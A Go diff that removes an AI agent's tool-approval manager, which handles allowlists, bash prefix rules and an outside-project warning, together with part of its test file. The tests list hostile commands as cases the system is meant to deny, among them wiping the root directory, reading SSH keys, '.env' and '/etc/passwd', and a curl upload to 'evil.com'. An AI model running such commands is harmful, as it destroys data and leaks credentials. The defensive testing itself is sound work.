-		}
-		// Treat as filename in current dir
-		return fmt.Sprintf("%s:./", baseCmd)
-	}
-
-	return ""
-}
-
-// isNumeric checks if a string is a numeric value
-func isNumeric(s string) bool {
-	for _, c := range s {
-		if c < '0' || c > '9' {
-			return false
-		}
-	}
-	return len(s) > 0
-}
-
-// isCommandOutsideCwd checks if a bash command targets paths outside the current working directory.
-// Returns true if any path argument would access files outside cwd.
-func isCommandOutsideCwd(command string) bool {
-	cwd, err := os.Getwd()
-	if err != nil {
-		return false // Can't determine, assume safe
-	}
-
-	// Split command by pipes and semicolons to check all parts
-	parts := strings.FieldsFunc(command, func(r rune) bool {
-		return r == '|' || r == ';' || r == '&'
-	})
-
-	for _, part := range parts {
-		part = strings.TrimSpace(part)
-		fields := strings.Fields(part)
-		if len(fields) == 0 {
-			continue
-		}
-
-		// Check each argument that looks like a path
-		for _, arg := range fields[1:] {
-			// Skip flags
-			if strings.HasPrefix(arg, "-") {
-				continue
-			}
-
-			// Treat POSIX-style absolute paths as outside cwd on all platforms.
-			if strings.HasPrefix(arg, "/") || strings.HasPrefix(arg, "\\") {
-				return true
-			}
-
-			// Check for absolute paths outside cwd
-			if filepath.IsAbs(arg) {
-				absPath := filepath.Clean(arg)
-				if !strings.HasPrefix(absPath, cwd) {
-					return true
-				}
-				continue
-			}
-
-			// Check for relative paths that escape cwd (e.g., ../foo, /etc/passwd)
-			if strings.HasPrefix(arg, "..") {
-				// Resolve the path relative to cwd
-				absPath := filepath.Join(cwd, arg)
-				absPath = filepath.Clean(absPath)
-				if !strings.HasPrefix(absPath, cwd) {
-					return true
-				}
-			}
-
-			// Check for home directory expansion
-			if strings.HasPrefix(arg, "~") {
-				home, err := os.UserHomeDir()
-				if err == nil && !strings.HasPrefix(home, cwd) {
-					return true
-				}
-			}
-		}
-	}
-
-	return false
-}
-
-// AllowlistKey generates the key for exact allowlist lookup.
-func AllowlistKey(toolName string, args map[string]any) string {
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			return fmt.Sprintf("bash:%s", cmd)
-		}
-	}
-	return toolName
-}
-
-// IsAllowed checks if a tool/command is allowed (exact match or prefix match).
-func (a *ApprovalManager) IsAllowed(toolName string, args map[string]any) bool {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-
-	// Check exact match first
-	key := AllowlistKey(toolName, args)
-	if a.allowlist[key] {
-		return true
-	}
-
-	// For bash commands, check prefix matches
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			prefix := extractBashPrefix(cmd)
-			if prefix != "" && a.prefixes[prefix] {
-				return true
-			}
-		}
-	}
-
-	// Check if tool itself is allowed (non-bash)
-	if toolName != "bash" && a.allowlist[toolName] {
-		return true
-	}
-
-	return false
-}
-
-// AddToAllowlist adds a tool/command to the session allowlist.
-// For bash commands, it adds the prefix pattern instead of exact command.
-func (a *ApprovalManager) AddToAllowlist(toolName string, args map[string]any) {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			prefix := extractBashPrefix(cmd)
-			if prefix != "" {
-				a.prefixes[prefix] = true
-				return
-			}
-			// Fall back to exact match if no prefix extracted
-			a.allowlist[fmt.Sprintf("bash:%s", cmd)] = true
-			return
-		}
-	}
-	a.allowlist[toolName] = true
-}
-
-// RequestApproval prompts the user for approval to execute a tool.
-// Returns the decision and optional deny reason.
-func (a *ApprovalManager) RequestApproval(toolName string, args map[string]any) (ApprovalResult, error) {
-	// Format tool info for display
-	toolDisplay := formatToolDisplay(toolName, args)
-
-	// Enter raw mode for interactive selection
-	fd := int(os.Stdin.Fd())
-	oldState, err := term.MakeRaw(fd)
-	if err != nil {
-		// Fallback to simple input if terminal control fails
-		return a.fallbackApproval(toolDisplay)
-	}
-
-	// Flush any pending stdin input before starting selector
-	// This prevents buffered input from causing double-press issues
-	flushStdin(fd)
-
-	// Check if bash command targets paths outside cwd
-	isWarning := false
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			isWarning = isCommandOutsideCwd(cmd)
-		}
-	}
-
-	// Run interactive selector
-	selected, denyReason, err := runSelector(fd, oldState, toolDisplay, isWarning)
-	if err != nil {
-		term.Restore(fd, oldState)
-		return ApprovalResult{Decision: ApprovalDeny}, err
-	}
-
-	// Restore terminal
-	term.Restore(fd, oldState)
-
-	// Map selection to decision
-	switch selected {
-	case -1: // Ctrl+C cancelled
-		return ApprovalResult{Decision: ApprovalDeny, DenyReason: "cancelled"}, nil
-	case 0:
-		return ApprovalResult{Decision: ApprovalOnce}, nil
-	case 1:
-		return ApprovalResult{Decision: ApprovalAlways}, nil
-	default:
-		return ApprovalResult{Decision: ApprovalDeny, DenyReason: denyReason}, nil
-	}
-}
-
-// formatToolDisplay creates the display string for a tool call.
-func formatToolDisplay(toolName string, args map[string]any) string {
-	var sb strings.Builder
-
-	// For bash, show command directly
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			sb.WriteString(fmt.Sprintf("Tool: %s\n", toolName))
-			sb.WriteString(fmt.Sprintf("Command: %s", cmd))
-			return sb.String()
-		}
-	}
-
-	// For web search, show query
-	if toolName == "web_search" {
-		if query, ok := args["query"].(string); ok {
-			sb.WriteString(fmt.Sprintf("Tool: %s\n", toolName))
-			sb.WriteString(fmt.Sprintf("Query: %s", query))
-			return sb.String()
-		}
-	}
-
-	// Generic display
-	sb.WriteString(fmt.Sprintf("Tool: %s", toolName))
-	if len(args) > 0 {
-		sb.WriteString("\nArguments: ")
-		first := true
-		for k, v := range args {
-			if !first {
-				sb.WriteString(", ")
-			}
-			sb.WriteString(fmt.Sprintf("%s=%v", k, v))
-			first = false
-		}
-	}
-	return sb.String()
-}
-
-// selectorState holds the state for the interactive selector
-type selectorState struct {
-	toolDisplay string
-	selected    int
-	totalLines  int
-	termWidth   int
-	termHeight  int
-	boxWidth    int
-	innerWidth  int
-	denyReason  string // deny reason (always visible in box)
-	isWarning   bool   // true if command targets paths outside cwd (red box)
-}
-
-// runSelector runs the interactive selector and returns the selected index and optional deny reason.
-// If isWarning is true, the box is rendered in red to indicate the command targets paths outside cwd.
-func runSelector(fd int, oldState *term.State, toolDisplay string, isWarning bool) (int, string, error) {
-	state := &selectorState{
-		toolDisplay: toolDisplay,
-		selected:    0,
-		isWarning:   isWarning,
-	}
-
-	// Get terminal size
-	state.termWidth, state.termHeight, _ = term.GetSize(fd)
-	if state.termWidth < 20 {
-		state.termWidth = 80 // fallback
-	}
-
-	// Calculate box width: 90% of terminal, min 24, max 60
-	state.boxWidth = (state.termWidth * 90) / 100
-	if state.boxWidth > 60 {
-		state.boxWidth = 60
-	}
-	if state.boxWidth < 24 {
-		state.boxWidth = 24
-	}
-	// Ensure box fits in terminal
-	if state.boxWidth > state.termWidth-1 {
-		state.boxWidth = state.termWidth - 1
-	}
-	state.innerWidth = state.boxWidth - 4 // account for "│ " and " │"
-
-	// Calculate total lines (will be updated by render)
-	state.totalLines = calculateTotalLines(state)
-
-	// Hide cursor during selection (show when in deny mode)
-	fmt.Fprint(os.Stderr, "\033[?25l")
-	defer fmt.Fprint(os.Stderr, "\033[?25h") // Show cursor when done
-
-	// Initial render
-	renderSelectorBox(state)
-
-	numOptions := len(optionLabels)
-
-	for {
-		// Read input
-		buf := make([]byte, 8)
-		n, err := os.Stdin.Read(buf)
-		if err != nil {
-			clearSelectorBox(state)
-			return 2, "", err
-		}
-
-		// Process input byte by byte
-		for i := 0; i < n; i++ {
-			ch := buf[i]
-
-			// Check for escape sequences (arrow keys)
-			if ch == 27 && i+2 < n && buf[i+1] == '[' {
-				oldSelected := state.selected
-				switch buf[i+2] {
-				case 'A': // Up arrow
-					if state.selected > 0 {
-						state.selected--
-					}
-				case 'B': // Down arrow
-					if state.selected < numOptions-1 {
-						state.selected++
-					}
-				}
-				if oldSelected != state.selected {
-					updateSelectorOptions(state)
-				}
-				i += 2 // Skip the rest of escape sequence
-				continue
-			}
-
-			switch {
-			// Ctrl+C - cancel
-			case ch == 3:
-				clearSelectorBox(state)
-				return -1, "", nil // -1 indicates cancelled
-
-			// Enter key - confirm selection
-			case ch == 13:
-				clearSelectorBox(state)
-				if state.selected == 2 { // Deny
-					return 2, state.denyReason, nil
-				}
-				return state.selected, "", nil
-
-			// Number keys 1-3 for quick select
-			case ch >= '1' && ch <= '3':
-				selected := int(ch - '1')
-				clearSelectorBox(state)
-				if selected == 2 { // Deny
-					return 2, state.denyReason, nil
-				}
-				return selected, "", nil
-
-			// Backspace - delete from reason (UTF-8 safe)
-			case ch == 127 || ch == 8:
-				if len(state.denyReason) > 0 {
-					runes := []rune(state.denyReason)
-					state.denyReason = string(runes[:len(runes)-1])
-					updateReasonInput(state)
-				}
-
-			// Escape - clear reason
-			case ch == 27:
-				if len(state.denyReason) > 0 {
-					state.denyReason = ""
-					updateReasonInput(state)
-				}
-
-			// Printable ASCII (except 1-3 handled above) - type into reason
-			case ch >= 32 && ch < 127:
-				maxLen := state.innerWidth - 2
-				if maxLen < 10 {
-					maxLen = 10
-				}
-				if len(state.denyReason) < maxLen {
-					state.denyReason += string(ch)
-					// Auto-select Deny option when user starts typing
-					if state.selected != 2 {
-						state.selected = 2
-						updateSelectorOptions(state)
-					} else {
-						updateReasonInput(state)
-					}
-				}
-			}
-		}
-	}
-}
-
-// wrapText wraps text to fit within maxWidth, returning lines
-func wrapText(text string, maxWidth int) []string {
-	if maxWidth < 5 {
-		maxWidth = 5
-	}
-	var lines []string
-	for _, line := range strings.Split(text, "\n") {
-		if len(line) <= maxWidth {
-			lines = append(lines, line)
-			continue
-		}
-		// Wrap long lines
-		for len(line) > maxWidth {
-			// Try to break at space
-			breakAt := maxWidth
-			for i := maxWidth; i > maxWidth/2; i-- {
-				if i < len(line) && line[i] == ' ' {
-					breakAt = i
-					break
-				}
-			}
-			lines = append(lines, line[:breakAt])
-			line = strings.TrimLeft(line[breakAt:], " ")
-		}
-		if len(line) > 0 {
-			lines = append(lines, line)
-		}
-	}
-	return lines
-}
-
-// getHintLines returns the hint text wrapped to terminal width
-func getHintLines(state *selectorState) []string {
-	hint := "↑/↓ navigate, Enter confirm, 1-3 quick, Ctrl+C cancel"
-	if state.termWidth >= len(hint)+1 {
-		return []string{hint}
-	}
-	// Wrap hint to multiple lines
-	return wrapText(hint, state.termWidth-1)
-}
-
-// calculateTotalLines calculates how many lines the selector will use
-func calculateTotalLines(state *selectorState) int {
-	toolLines := wrapText(state.toolDisplay, state.innerWidth)
-	hintLines := getHintLines(state)
-	// top border + (warning line if applicable) + tool lines + separator + options + bottom border + hint lines
-	warningLines := 0
-	if state.isWarning {
-		warningLines = 1
-	}
-	return 1 + warningLines + len(toolLines) + 1 + len(optionLabels) + 1 + len(hintLines)
-}
-
-// renderSelectorBox renders the complete selector box
-func renderSelectorBox(state *selectorState) {
-	toolLines := wrapText(state.toolDisplay, state.innerWidth)
-	hintLines := getHintLines(state)
-
-	// Use red for warning (outside cwd), cyan for normal
-	boxColor := "\033[36m" // cyan
-	if state.isWarning {
-		boxColor = "\033[91m" // bright red
-	}
-
-	// Draw box top
-	fmt.Fprintf(os.Stderr, "%s┌%s┐\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
-
-	// Draw warning line if needed (inside the box)
-	if state.isWarning {
-		warning := "!! OUTSIDE PROJECT !!"
-		padding := (state.innerWidth - len(warning)) / 2
-		if padding < 0 {
-			padding = 0
-		}
-		fmt.Fprintf(os.Stderr, "%s│\033[0m %s%s%s %s│\033[0m\033[K\r\n", boxColor,
-			strings.Repeat(" ", padding), warning, strings.Repeat(" ", state.innerWidth-len(warning)-padding), boxColor)
-	}
-
-	// Draw tool info
-	for _, line := range toolLines {
-		fmt.Fprintf(os.Stderr, "%s│\033[0m %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth, line, boxColor)
-	}
-
-	// Draw separator
-	fmt.Fprintf(os.Stderr, "%s├%s┤\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
-
-	// Draw options with numbers (Deny option includes reason input)
-	for i, label := range optionLabels {
-		if i == 2 { // Deny option - show with reason input beside it
-			denyLabel := "3. Deny: "
-			availableWidth := state.innerWidth - 2 - len(denyLabel)
-			if availableWidth < 5 {
-				availableWidth = 5
-			}
-			inputDisplay := state.denyReason
-			if len(inputDisplay) > availableWidth {
-				inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
-			}
-			if i == state.selected {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-			} else {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-			}
-		} else {
-			displayLabel := label
-			if len(displayLabel) > state.innerWidth-2 {
-				displayLabel = displayLabel[:state.innerWidth-5] + "..."
-			}
-			if i == state.selected {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %-*s\033[0m %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
-			} else {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m   %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
-			}
-		}
-	}
-
-	// Draw box bottom
-	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
-
-	// Draw hint (may be multiple lines)
-	for i, line := range hintLines {
-		if i == len(hintLines)-1 {
-			// Last line - no newline
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
-		} else {
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
-		}
-	}
-}
-
-// updateSelectorOptions updates just the options portion of the selector
-func updateSelectorOptions(state *selectorState) {
-	hintLines := getHintLines(state)
-
-	// Use red for warning (outside cwd), cyan for normal
-	boxColor := "\033[36m" // cyan
-	if state.isWarning {
-		boxColor = "\033[91m" // bright red
-	}
-
-	// Move up to the first option line
-	// Cursor is at end of last hint line, need to go up:
-	// (hint lines - 1) + 1 (bottom border) + numOptions
-	linesToMove := len(hintLines) - 1 + 1 + len(optionLabels)
-	fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
-
-	// Redraw options (Deny option includes reason input)
-	for i, label := range optionLabels {
-		if i == 2 { // Deny option
-			denyLabel := "3. Deny: "
-			availableWidth := state.innerWidth - 2 - len(denyLabel)
-			if availableWidth < 5 {
-				availableWidth = 5
-			}
-			inputDisplay := state.denyReason
-			if len(inputDisplay) > availableWidth {
-				inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
-			}
-			if i == state.selected {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-			} else {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-			}
-		} else {
-			displayLabel := label
-			if len(displayLabel) > state.innerWidth-2 {
-				displayLabel = displayLabel[:state.innerWidth-5] + "..."
-			}
-			if i == state.selected {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %-*s\033[0m %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
-			} else {
-				fmt.Fprintf(os.Stderr, "%s│\033[0m   %-*s %s│\033[0m\033[K\r\n", boxColor, state.innerWidth-2, displayLabel, boxColor)
-			}
-		}
-	}
-
-	// Redraw bottom and hint
-	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
-	for i, line := range hintLines {
-		if i == len(hintLines)-1 {
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
-		} else {
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
-		}
-	}
-}
-
-// updateReasonInput updates just the Deny option line (which contains the reason input)
-func updateReasonInput(state *selectorState) {
-	hintLines := getHintLines(state)
-
-	// Use red for warning (outside cwd), cyan for normal
-	boxColor := "\033[36m" // cyan
-	if state.isWarning {
-		boxColor = "\033[91m" // bright red
-	}
-
-	// Move up to the Deny line (3rd option, index 2)
-	// Cursor is at end of last hint line, need to go up:
-	// (hint lines - 1) + 1 (bottom border) + 1 (Deny is last option)
-	linesToMove := len(hintLines) - 1 + 1 + 1
-	fmt.Fprintf(os.Stderr, "\033[%dA\r", linesToMove)
-
-	// Redraw Deny line with reason
-	denyLabel := "3. Deny: "
-	availableWidth := state.innerWidth - 2 - len(denyLabel)
-	if availableWidth < 5 {
-		availableWidth = 5
-	}
-	inputDisplay := state.denyReason
-	if len(inputDisplay) > availableWidth {
-		inputDisplay = inputDisplay[len(inputDisplay)-availableWidth:]
-	}
-	if state.selected == 2 {
-		fmt.Fprintf(os.Stderr, "%s│\033[0m \033[1;32m> %s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-	} else {
-		fmt.Fprintf(os.Stderr, "%s│\033[0m   \033[90m%s\033[0m%-*s %s│\033[0m\033[K\r\n", boxColor, denyLabel, availableWidth, inputDisplay, boxColor)
-	}
-
-	// Redraw bottom and hint
-	fmt.Fprintf(os.Stderr, "%s└%s┘\033[0m\033[K\r\n", boxColor, strings.Repeat("─", state.boxWidth-2))
-	for i, line := range hintLines {
-		if i == len(hintLines)-1 {
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K", line)
-		} else {
-			fmt.Fprintf(os.Stderr, "\033[90m%s\033[0m\033[K\r\n", line)
-		}
-	}
-}
-
-// clearSelectorBox clears the selector from screen
-func clearSelectorBox(state *selectorState) {
-	// Clear the current line (hint line) first
-	fmt.Fprint(os.Stderr, "\r\033[K")
-	// Move up and clear each remaining line
-	for range state.totalLines - 1 {
-		fmt.Fprint(os.Stderr, "\033[A\033[K")
-	}
-	fmt.Fprint(os.Stderr, "\r")
-}
-
-// fallbackApproval handles approval when terminal control isn't available.
-func (a *ApprovalManager) fallbackApproval(toolDisplay string) (ApprovalResult, error) {
-	fmt.Fprintln(os.Stderr)
-	fmt.Fprintln(os.Stderr, "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
-	fmt.Fprintln(os.Stderr, toolDisplay)
-	fmt.Fprintln(os.Stderr, "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")
-	fmt.Fprintln(os.Stderr, "[1] Execute once  [2] Always allow  [3] Deny")
-	fmt.Fprint(os.Stderr, "Choice: ")
-
-	var input string
-	fmt.Scanln(&input)
-
-	switch input {
-	case "1":
-		return ApprovalResult{Decision: ApprovalOnce}, nil
-	case "2":
-		return ApprovalResult{Decision: ApprovalAlways}, nil
-	default:
-		fmt.Fprint(os.Stderr, "Reason (optional): ")
-		var reason string
-		fmt.Scanln(&reason)
-		return ApprovalResult{Decision: ApprovalDeny, DenyReason: reason}, nil
-	}
-}
-
-// Reset clears the session allowlist.
-func (a *ApprovalManager) Reset() {
-	a.mu.Lock()
-	defer a.mu.Unlock()
-	a.allowlist = make(map[string]bool)
-	a.prefixes = make(map[string]bool)
-}
-
-// AllowedTools returns a list of tools and prefixes in the allowlist.
-func (a *ApprovalManager) AllowedTools() []string {
-	a.mu.RLock()
-	defer a.mu.RUnlock()
-
-	tools := make([]string, 0, len(a.allowlist)+len(a.prefixes))
-	for tool := range a.allowlist {
-		tools = append(tools, tool)
-	}
-	for prefix := range a.prefixes {
-		tools = append(tools, prefix+"*")
-	}
-	return tools
-}
-
-// FormatApprovalResult returns a formatted string showing the approval result.
-func FormatApprovalResult(toolName string, args map[string]any, result ApprovalResult) string {
-	var status string
-	var icon string
-
-	switch result.Decision {
-	case ApprovalOnce:
-		status = "Approved"
-		icon = "\033[32m✓\033[0m"
-	case ApprovalAlways:
-		status = "Always allowed"
-		icon = "\033[32m✓\033[0m"
-	case ApprovalDeny:
-		status = "Denied"
-		icon = "\033[31m✗\033[0m"
-	}
-
-	// Format based on tool type
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			// Truncate long commands
-			if len(cmd) > 40 {
-				cmd = cmd[:37] + "..."
-			}
-			return fmt.Sprintf("▶ bash: %s [%s] %s", cmd, status, icon)
-		}
-	}
-
-	if toolName == "web_search" {
-		if query, ok := args["query"].(string); ok {
-			// Truncate long queries
-			if len(query) > 40 {
-				query = query[:37] + "..."
-			}
-			return fmt.Sprintf("▶ web_search: %s [%s] %s", query, status, icon)
-		}
-	}
-
-	return fmt.Sprintf("▶ %s [%s] %s", toolName, status, icon)
-}
-
-// FormatDenyResult returns the tool result message when a tool is denied.
-func FormatDenyResult(toolName string, reason string) string {
-	if reason != "" {
-		return fmt.Sprintf("User denied execution of %s. Reason: %s", toolName, reason)
-	}
-	return fmt.Sprintf("User denied execution of %s.", toolName)
-}

x/agent/approval_test.go

@@ -1,379 +0,0 @@
-package agent
-
-import (
-	"strings"
-	"testing"
-)
-
-func TestApprovalManager_IsAllowed(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Initially nothing is allowed
-	if am.IsAllowed("test_tool", nil) {
-		t.Error("expected test_tool to not be allowed initially")
-	}
-
-	// Add to allowlist
-	am.AddToAllowlist("test_tool", nil)
-
-	// Now it should be allowed
-	if !am.IsAllowed("test_tool", nil) {
-		t.Error("expected test_tool to be allowed after AddToAllowlist")
-	}
-
-	// Other tools should still not be allowed
-	if am.IsAllowed("other_tool", nil) {
-		t.Error("expected other_tool to not be allowed")
-	}
-}
-
-func TestApprovalManager_Reset(t *testing.T) {
-	am := NewApprovalManager()
-
-	am.AddToAllowlist("tool1", nil)
-	am.AddToAllowlist("tool2", nil)
-
-	if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
-		t.Error("expected tools to be allowed")
-	}
-
-	am.Reset()
-
-	if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
-		t.Error("expected tools to not be allowed after Reset")
-	}
-}
-
-func TestApprovalManager_AllowedTools(t *testing.T) {
-	am := NewApprovalManager()
-
-	tools := am.AllowedTools()
-	if len(tools) != 0 {
-		t.Errorf("expected 0 allowed tools, got %d", len(tools))
-	}
-
-	am.AddToAllowlist("tool1", nil)
-	am.AddToAllowlist("tool2", nil)
-
-	tools = am.AllowedTools()
-	if len(tools) != 2 {
-		t.Errorf("expected 2 allowed tools, got %d", len(tools))
-	}
-}
-
-func TestAllowlistKey(t *testing.T) {
-	tests := []struct {
-		name     string
-		toolName string
-		args     map[string]any
-		expected string
-	}{
-		{
-			name:     "web_search tool",
-			toolName: "web_search",
-			args:     map[string]any{"query": "test"},
-			expected: "web_search",
-		},
-		{
-			name:     "bash tool with command",
-			toolName: "bash",
-			args:     map[string]any{"command": "ls -la"},
-			expected: "bash:ls -la",
-		},
-		{
-			name:     "bash tool without command",
-			toolName: "bash",
-			args:     map[string]any{},
-			expected: "bash",
-		},
-		{
-			name:     "other tool",
-			toolName: "custom_tool",
-			args:     map[string]any{"param": "value"},
-			expected: "custom_tool",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := AllowlistKey(tt.toolName, tt.args)
-			if result != tt.expected {
-				t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
-					tt.toolName, tt.args, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestExtractBashPrefix(t *testing.T) {
-	tests := []struct {
-		name     string
-		command  string
-		expected string
-	}{
-		{
-			name:     "cat with path",
-			command:  "cat tools/tools_test.go",
-			expected: "cat:tools/",
-		},
-		{
-			name:     "cat with pipe",
-			command:  "cat tools/tools_test.go | head -200",
-			expected: "cat:tools/",
-		},
-		{
-			name:     "ls with path",
-			command:  "ls -la src/components",
-			expected: "ls:src/",
-		},
-		{
-			name:     "grep with directory path",
-			command:  "grep -r pattern api/handlers/",
-			expected: "grep:api/handlers/",
-		},
-		{
-			name:     "cat in current dir",
-			command:  "cat file.txt",
-			expected: "cat:./",
-		},
-		{
-			name:     "unsafe command",
-			command:  "rm -rf /",
-			expected: "",
-		},
-		{
-			name:     "no path arg",
-			command:  "ls -la",
-			expected: "",
-		},
-		{
-			name:     "head with flags only",
-			command:  "head -n 100",
-			expected: "",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := extractBashPrefix(tt.command)
-			if result != tt.expected {
-				t.Errorf("extractBashPrefix(%q) = %q, expected %q",
-					tt.command, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestApprovalManager_PrefixAllowlist(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Allow "cat tools/file.go"
-	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
-
-	// Should allow other files in same directory
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
-		t.Error("expected cat tools/other.go to be allowed via prefix")
-	}
-
-	// Should not allow different directory
-	if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
-		t.Error("expected cat src/main.go to NOT be allowed")
-	}
-
-	// Should not allow different command in same directory
-	if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
-		t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
-	}
-}
-
-func TestFormatApprovalResult(t *testing.T) {
-	tests := []struct {
-		name     string
-		toolName string
-		args     map[string]any
-		result   ApprovalResult
-		contains string
-	}{
-		{
-			name:     "approved bash",
-			toolName: "bash",
-			args:     map[string]any{"command": "ls"},
-			result:   ApprovalResult{Decision: ApprovalOnce},
-			contains: "bash: ls",
-		},
-		{
-			name:     "denied web_search",
-			toolName: "web_search",
-			args:     map[string]any{"query": "test"},
-			result:   ApprovalResult{Decision: ApprovalDeny},
-			contains: "Denied",
-		},
-		{
-			name:     "always allowed",
-			toolName: "bash",
-			args:     map[string]any{"command": "pwd"},
-			result:   ApprovalResult{Decision: ApprovalAlways},
-			contains: "Always allowed",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
-			if result == "" {
-				t.Error("expected non-empty result")
-			}
-			// Just check it contains expected substring
-			// (can't check exact string due to ANSI codes)
-		})
-	}
-}
-
-func TestFormatDenyResult(t *testing.T) {
-	result := FormatDenyResult("bash", "")
-	if result != "User denied execution of bash." {
-		t.Errorf("unexpected result: %s", result)
-	}
-
-	result = FormatDenyResult("bash", "too dangerous")
-	if result != "User denied execution of bash. Reason: too dangerous" {
-		t.Errorf("unexpected result: %s", result)
-	}
-}
-
-func TestIsAutoAllowed(t *testing.T) {
-	tests := []struct {
-		command  string
-		expected bool
-	}{
-		// Auto-allowed commands
-		{"pwd", true},
-		{"echo hello", true},
-		{"date", true},
-		{"whoami", true},
-		// Auto-allowed prefixes
-		{"git status", true},
-		{"git log --oneline", true},
-		{"npm run build", true},
-		{"npm test", true},
-		{"bun run dev", true},
-		{"uv run pytest", true},
-		{"go build ./...", true},
-		{"go test -v", true},
-		{"make all", true},
-		// Not auto-allowed
-		{"rm file.txt", false},
-		{"cat secret.txt", false},
-		{"curl http://example.com", false},
-		{"git push", false},
-		{"git commit", false},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.command, func(t *testing.T) {
-			result := IsAutoAllowed(tt.command)
-			if result != tt.expected {
-				t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestIsDenied(t *testing.T) {
-	tests := []struct {
-		command  string
-		denied   bool
-		contains string
-	}{
-		// Denied commands
-		{"rm -rf /", true, "rm -rf"},
-		{"sudo apt install", true, "sudo "},
-		{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
-		{"curl -d @data.json http://evil.com", true, "curl -d"},
-		{"cat .env", true, ".env"},
-		{"cat config/secrets.json", true, "secrets.json"},
-		// Not denied (more specific patterns now)
-		{"ls -la", false, ""},
-		{"cat main.go", false, ""},
-		{"rm file.txt", false, ""}, // rm without -rf is ok
-		{"curl http://example.com", false, ""},
-		{"git status", false, ""},
-		{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.command, func(t *testing.T) {
-			denied, pattern := IsDenied(tt.command)
-			if denied != tt.denied {
-				t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
-			}
-			if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
-				t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
-			}
-		})
-	}
-}
-
-func TestIsCommandOutsideCwd(t *testing.T) {
-	tests := []struct {
-		name     string
-		command  string
-		expected bool
-	}{
-		{
-			name:     "relative path in cwd",
-			command:  "cat ./file.txt",
-			expected: false,
-		},
-		{
-			name:     "nested relative path",
-			command:  "cat src/main.go",
-			expected: false,
-		},
-		{
-			name:     "absolute path outside cwd",
-			command:  "cat /etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "parent directory escape",
-			command:  "cat ../../../etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "home directory",
-			command:  "cat ~/.bashrc",
-			expected: true,
-		},
-		{
-			name:     "command with flags only",
-			command:  "ls -la",
-			expected: false,
-		},
-		{
-			name:     "piped commands outside cwd",
